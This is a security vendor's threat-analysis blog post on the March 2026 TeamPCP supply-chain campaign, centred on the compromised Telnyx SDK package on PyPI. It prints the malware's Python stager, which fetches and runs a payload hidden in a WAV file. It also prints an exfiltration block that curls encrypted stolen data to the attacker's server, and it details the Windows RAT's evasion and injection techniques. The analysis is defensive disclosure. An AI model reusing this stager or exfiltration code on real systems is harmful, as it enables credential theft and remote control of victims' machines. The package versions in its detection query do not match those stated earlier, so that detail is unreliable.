The Telnyx SDK on PyPI Compromise and the 2026 TeamPCP Supply Chain Attacks

Share

Executive summary

  • On March 19, 2026, multiple outlets reported that the threat actor TeamPCP compromised Aqua Security's open source repository of its popular vulnerability scanner, Trivy, to harvest credentials.

  • Just a few days later, reports of the same attack pattern also appeared in a GitHub Action for Checkmarx AST and Checkmarx KICS.

  • Since then, the attacker used further stolen credentials to embed sophisticated credential stealers into the popular PyPI package of LiteLLM. 

  • Telnyx SDK library on PyPI is the latest reported compromise in this attack on open source repositories.

  • In this blog post, we analyze how the Telnyx SDK package on PyPI appears to have been infected with a malicious payload and provide mitigation recommendations against this type of attack.

How the story unfolded

On March 19, 2026, TeamPCP was reported to have leveraged a personal access token that was stolen three weeks earlier by exploiting a misconfigured pull_request_target workflow in Trivy's GitHub Actions, using it to push malicious commits to 76 of 77 Trivy GitHub Action version tags, infecting any CI/CD pipeline with Trivy integrated. This appears to have given TeamPCP access to the secrets and credentials of every organization with a pipeline that ran during the exposure window.

The initial compromise became a cascading credential/supply chain attack campaign.

On March 23, threat actors appear to have used stolen credentials from previous attacks to push malicious updates to Checkmarx KICS as part of their supply chain attack campaign.

On March 24, using credentials reported to have been harvested from LiteLLM's own CI/CD pipeline, the threat actors published malicious versions 1.82.7 and 1.82.8 of LiteLLM directly to PyPI. These versions carried the same stealer used in the Trivy attack, exfiltrating stolen data to two attacker-controlled domains: checkmarx[.]zone and models[.]litellm[.]cloud.

The ransomware group Vect has since announced a partnership with TeamPCP, significantly escalating the threat to any organization whose credentials were already stolen.

Telnyx SDK on PyPI: The latest compromise

On March 27, the threat actors appear to have used their stolen credentials again, this time to publish a malicious PyPI release to the popular Telnyx package — an open source Python SDK for the Telnyx cloud communication platform — with a three-stage malicious payload that acts as a remote access tool (RAT) and exfiltrates information to a new attacker-controlled server: 83[.]142[.]209[.]203.

The malicious payload inside the package

The following security insights regarding malicious behavior were observed from a compromised Telnyx SDK package released on March 27, 2026, all of which are being provided for research purposes. Please validate any actions you may choose to take regarding any malicious activity with professionals who understand your specific workloads. 

Stager

Once the malicious libraries have been downloaded, the malicious code inside _client.py executes and sets up the environment for either Windows or Linux.

The loader then downloads the second stage of attack, wrapped as a wav file from the command and control (C2) server — hangup.wav for Windows and ringtone.wav for Linux — decodes it using the payload’s first eight bytes as the XOR key, and executes it.

  try:
            req = urllib.request.Request(WAV_URL, headers={'User-Agent': 'Mozilla/5.0'})
            with urllib.request.urlopen(req, timeout=15) as r:
                with open(wf, "wb") as f:
                    f.write(r.read())

            with wave.open(wf, 'rb') as w:
                raw = base64.b64decode(w.readframes(w.getnframes()))
                s, data = raw[:8], raw[8:]
                payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])

            with open(collected, "wb") as f:
                subprocess.run(
                    [sys.executable, "-"],
                    input=payload,
                    stdout=f,
                    stderr=subprocess.DEVNULL,
                    check=True
                )
        except:
            return

Once the wav has been downloaded and decoded, the loader decides what the next stage will be based on the OS type.

For Linux systems, the loader creates a new AES-256-CBC session key and uses it to encrypt the collected data. It will then encrypt the session key itself using the attacker's hardcoded RSA-4096 public key, and bundle it alongside the encrypted data before exfiltrating it as “tpcp.tar.gz”.

 try:
            subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True)
            subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL)
            subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk, "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"], check=True, stderr=subprocess.DEVNULL)
            subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True)

            subprocess.run([
                "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST",
                "http://83.142.209.203:8080/",
                "-H", "Content-Type: application/octet-stream",
                "-H", "X-Filename: tpcp.tar.gz",
                "--data-binary", f"@{bn}"
            ], check=True, stderr=subprocess.DEVNULL)
        except:
            pass

For Windows, the loader simply executes the msbuild.exe executable and exits.

...
# Execute msbuild.exe with the NO_WINDOW flag
subprocess.Popen([p], creationflags=0x08000000)

Not a stealer but a RAT

On Windows machines, the downloaded WAV file is executed and eventually becomes a malicious msbuild.exe file, which is copied to the startup folder.

The executable is a loader that employs several obfuscation and evasion techniques to evade detection. It uses a DJB2 hash-based API resolution, direct syscalls, and kills Event Tracing for Windows (ETW) to evade detection.

The last stage for this binary is DLL injection via process hollowing to inject an embedded payload into a created “dllhost.exe”.

The shellcode is an embedded PNG inside the executable, and each ARGB pixel is considered a byte in its shellcode, where 0xFF is the separator.

The first pixel is the payload size in big-endian format, and the rest of the pixels are the code itself.

Shellcode

The shellcode functions as a RAT backdoor. To start its communication, its entry point decrypts an embedded config blob using a hardcoded RC4 key:

33 1a b9 c0 32 cf 95 c8 9d 87 7e e0 5b 46 f8 d8

Decrypting the 249 byte config file gave us the following strings:


Those values are used when connecting to the malicious C2 server.

The shellcode itself acts like a backdoor/RAT on the endpoint. By sending it the right opcodes, the attacker can decide which operations the DLL will execute. Some notable ones include:

Opcode

Functionality 

0x12

Read file 

0x17

Kill process

0x18

Read registry

0x2A

Spawn process

0x2B

Encrypt and exfiltrate

0x47

Interactive shell via named pipe

MSBuild chain of execution

The MSBuild chain of execution looks like this:

  1. MSBuild resolves WinAPIs by DJB2 hash, patches ETW, and spawns dllhost.exe suspended.

  2. It reads embedded PNG from .data and steganographically extracts shellcode.

  3. It allocates memory in dllhost.exe via direct syscall, writes shellcode, and hijacks the thread.

  4. The payload waits for commands from C2.

  5. When prompted, the stealer collects credentials and other information into the temp dir, and communicates back to its C2 server: 83[.]142[.]209[.]203:8080.

Affected libraries

  • LiteLLM versions 1.82.7 and 1.82.8

  • Telnyx SDK versions 8.47.1 and 8.47.2 on PyPI

  • Checkmarx ast-result version 2.53.0 and cx-dev-assist 1.7.0

Mitigations and recommendations

To keep your organization protected, we recommend that you immediately consult with a security professional on taking the following potential actions:

  • Downgrading packages to safe versions
  • Rotating credentials
  • Reducing exposure with network segmentation
  • Identifying vulnerable hosts with Akamai Guardicore Segmentation

Downgrading packages to safe versions

The infected versions were removed from PyPI and GitHub; downgrading to earlier versions remediates the threat.

Rotating credentials

If a compromised package was detected, rotate all credentials present on the infected machine, including API keys, SSH keys, cloud credentials, tokens, and secrets.

Reducing exposure with network segmentation

Segment affected applications, allowing the necessary traffic and blocking traffic to attack controlled C2 domains.

Identifying vulnerable hosts with Akamai Guardicore Segmentation

The following Akamai Guardicore Segmentation Insight query identifies the endpoints that have been infected with malicious packages.

SELECT
  name,
  version,
  path,
  directory,
  uid
FROM python_packages
WHERE
  (LOWER(name) = 'litellm' AND version IN ('1.82.7', '1.82.8'))
  OR
  (LOWER(name) = 'telnyx' AND version IN ('4.87.1', '4.87.2'));

Summary

Beginning on March 19, 2026, the threat actor group TeamPCP launched one of the biggest and sophisticated supply chain attack campaigns in recent history. By exploiting a misconfigured GitHub Actions workflow in Aqua Security's Trivy vulnerability scanner, the group initiated a cascading credential theft operation that spread across multiple open source libraries, compromising Checkmarx KICS, LiteLLM, and Telnyx in the span of just eight days.

The campaign is ongoing, with the ransomware group Vect announcing a partnership with TeamPCP and hinting that a shift from credential theft to large-scale extortion and ransomware operations may soon happen.

Stay tuned

The Akamai Security Intelligence Group will continue to monitor, report on, and create mitigations for threats such as these for both our customers and the security community at large. To keep up with more breaking news from the Akamai Security Intelligence Group, check out our research home page and follow us on social media.

Tags

Share

Related Blog Posts

Security Research
CVE-2025-29635: Mirai Campaign Targets D-Link Devices
April 21, 2026
Read about the active exploitation attempts of the D-Link command injection vulnerability CVE-2025-29635 discovered by the Akamai SIRT.
Threat Intelligence
The AI Threat Multiplier: Why Architectural Flaws Are the New Frontier
April 20, 2026
AI has put an end to the era of evaluating CVEs in isolation. The most critical risks now emerge when legacy state machines meet asynchronous execution.
Security Research
Magento Polyshell — The Latest Magento Threat (APSB25-94)
A vulnerability in Adobe Commerce and Magento Open Source could lead to arbitrary code execution. Read how Akamai’s customers are protected from this threat.